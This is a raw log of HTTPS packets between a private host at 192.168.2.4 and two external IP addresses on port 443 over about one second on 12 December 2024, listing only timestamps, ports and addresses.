Dec 12, 2024 12:08:56.024282932 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.024290085 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.030702114 CET	50038	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.030725002 CET	443	50038	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.031305075 CET	443	50038	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.032056093 CET	50037	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.032082081 CET	443	50037	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.032218933 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.032237053 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.032749891 CET	443	50037	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.032752037 CET	50038	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.032840967 CET	443	50038	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.033078909 CET	50037	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.033160925 CET	50038	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.033168077 CET	443	50037	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.033282995 CET	50037	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.035540104 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.035630941 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.038862944 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.039064884 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.039455891 CET	50030	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.039464951 CET	443	50030	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.039856911 CET	50035	443	192.168.2.4	104.26.12.205
Dec 12, 2024 12:08:56.039890051 CET	443	50035	104.26.12.205	192.168.2.4
Dec 12, 2024 12:08:56.040687084 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.040697098 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.041106939 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.041121960 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.041179895 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.041187048 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.045756102 CET	50034	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.045763969 CET	443	50034	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.052190065 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.052206039 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.052289963 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.052298069 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.064112902 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.064126015 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.064207077 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.064227104 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.075340033 CET	443	50038	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.075366974 CET	443	50037	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.079926968 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.079940081 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.080022097 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.080035925 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.084182978 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.091784954 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.091803074 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.091916084 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.091939926 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.103718996 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.103734970 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.103768110 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.103811979 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.103821039 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.103863955 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.201750040 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.201767921 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.201832056 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.201845884 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.211143017 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.211158037 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.211196899 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.211204052 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.223207951 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.223221064 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.223293066 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.223299026 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.231672049 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.231684923 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.231723070 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.231729031 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.231756926 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.234103918 CET	50046	443	192.168.2.4	104.26.12.205
Dec 12, 2024 12:08:56.234155893 CET	443	50046	104.26.12.205	192.168.2.4
Dec 12, 2024 12:08:56.234216928 CET	50046	443	192.168.2.4	104.26.12.205
Dec 12, 2024 12:08:56.234684944 CET	50046	443	192.168.2.4	104.26.12.205
Dec 12, 2024 12:08:56.234702110 CET	443	50046	104.26.12.205	192.168.2.4
Dec 12, 2024 12:08:56.239926100 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.239964962 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.239985943 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.239991903 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.240024090 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.250602007 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.250638008 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.250658035 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.250663996 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.250703096 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.258708000 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.258718967 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.258768082 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.258773088 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.258827925 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.266880035 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.266937971 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.266943932 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.275036097 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.275100946 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.275105953 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.285686970 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.285747051 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.285753012 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.295161963 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.295243979 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.295252085 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.303229094 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.303287983 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.303293943 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.311458111 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.311470032 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.311511040 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.311516047 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.311557055 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.395495892 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.395514011 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.395574093 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.395586967 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.401609898 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.401669025 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.401675940 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.409410954 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.409466028 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.409471989 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.415252924 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.415303946 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.415318966 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.420727968 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.420784950 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.420793056 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.428172112 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.428232908 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.428240061 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.431963921 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.432013035 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.432020903 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.432055950 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.438404083 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.438467979 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.438476086 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.443552017 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.443603992 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.443610907 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.449354887 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.449404001 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.449409962 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.454457998 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.454509974 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.454516888 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.460268974 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.460334063 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.460341930 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.464287043 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.464354038 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.464360952 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.470904112 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.470969915 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.470983982 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.478748083 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.478806973 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.478823900 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.482120037 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.482135057 CET	443	50037	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.482177019 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.482199907 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.482199907 CET	443	50037	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.482227087 CET	443	50037	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.482232094 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.482250929 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.482280970 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.482302904 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.482302904 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.482305050 CET	50037	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.482305050 CET	50037	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.482321024 CET	443	50037	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.522443056 CET	50037	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.527993917 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.528016090 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.528033972 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.532476902 CET	443	50037	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.532511950 CET	443	50037	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.532593966 CET	50037	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.532593966 CET	50037	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.532660007 CET	443	50037	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.534575939 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.534599066 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.534617901 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.534640074 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.534655094 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.534683943 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.536375999 CET	443	50037	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.536458969 CET	50037	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.540436029 CET	50037	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.540452957 CET	443	50037	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.555610895 CET	50047	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.555668116 CET	443	50047	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.555732965 CET	50047	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.557070971 CET	50047	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.557090044 CET	443	50047	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.584446907 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.584465981 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.584506035 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.584551096 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.584606886 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.584954023 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.584979057 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.588670015 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.588680029 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.588743925 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.588757992 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.592654943 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.592693090 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.592726946 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.592737913 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.592770100 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.596092939 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.596174002 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.596180916 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.600747108 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.600822926 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.600830078 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.604254961 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.604352951 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.604360104 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.607868910 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.607927084 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.607937098 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.611386061 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.611444950 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.611454010 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.616091013 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.616154909 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.616159916 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.619486094 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.619692087 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.619724035 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.623481035 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.623533964 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.623547077 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.624722004 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.624778986 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.624793053 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.624845028 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.624856949 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.624897003 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.631654978 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.666776896 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.666811943 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.666830063 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.666847944 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.666896105 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.666904926 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.684277058 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.684302092 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.700144053 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.700165033 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.700200081 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.700211048 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.700222015 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.700237036 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.725398064 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.725430012 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.725449085 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.725493908 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.725534916 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.725555897 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.739708900 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.739729881 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.739748001 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.739778042 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.739789009 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.739811897 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.786714077 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.786722898 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.835124016 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.849334955 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.849369049 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.849385977 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.849414110 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.849469900 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.849479914 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.864182949 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.864202976 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.864221096 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.864234924 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.864248037 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.864295006 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.864309072 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.864496946 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.878470898 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.878494024 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.878515959 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.878551960 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.878623009 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.878628969 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.889949083 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.889970064 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.890010118 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.890032053 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.890055895 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.890089989 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.904974937 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.904997110 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.905036926 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.905092955 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.905123949 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.905364037 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.913566113 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.913578033 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.913635015 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.913655996 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.924540997 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.924616098 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.924652100 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.932957888 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.932971954 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.933011055 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.933047056 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.933064938 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.974456072 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:57.041161060 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:57.041177034 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:57.041244984 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:57.041282892 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:57.047056913 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:57.047070026 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:57.047123909 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:57.047135115 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:57.056667089 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:57.056689024 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:57.056732893 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:57.056752920 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:57.056773901 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:57.063488960 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:57.063534975 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:57.063563108 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:57.063579082 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:57.063612938 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:57.065601110 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:57.065654039 CET	50036	443	192.168.2.4	209.74.95.101
